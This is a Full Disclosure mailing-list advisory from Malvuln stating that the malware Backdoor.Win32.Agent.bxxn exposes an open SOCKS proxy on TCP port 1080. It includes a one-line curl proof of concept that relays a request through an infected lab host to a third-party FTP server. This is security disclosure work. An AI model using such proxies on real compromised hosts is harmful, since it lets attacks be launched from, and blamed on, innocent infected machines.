full-disclosure - [FD] Backdoor.Win32.Agent.bxxn / Open Proxy

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Message-ID: <CAAHK0WRiZUHvyhXsRFN5Mw9E1LycOC5WG3K6UGnNNBKxnur+=Q@mail.gmail.com>
Date: Mon, 21 Mar 2022 20:51:21 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.bxxn / Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/dcbc237f21839a6514c8321d5fa631a4.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.bxxn
Vulnerability: Open Proxy
Description: The malware listens on TCP port 1080. Third-party attackers
who can connect to the infected system can relay requests from the original
connection to the destination and then back to the origination system.
Attackers may then be able to launch attacks, download files or port scan
third party systems and it will appear as the attacks originated from that
infected host.
Family: Agent
Type: PE32
MD5: dcbc237f21839a6514c8321d5fa631a4
Vuln ID: MVID-2022-0522
Disclosure: 03/21/2022

Exploit/PoC:
curl socks4://192.168.18.125:1080  http://192.168.18.128:21
220 INetSim FTP Service ready.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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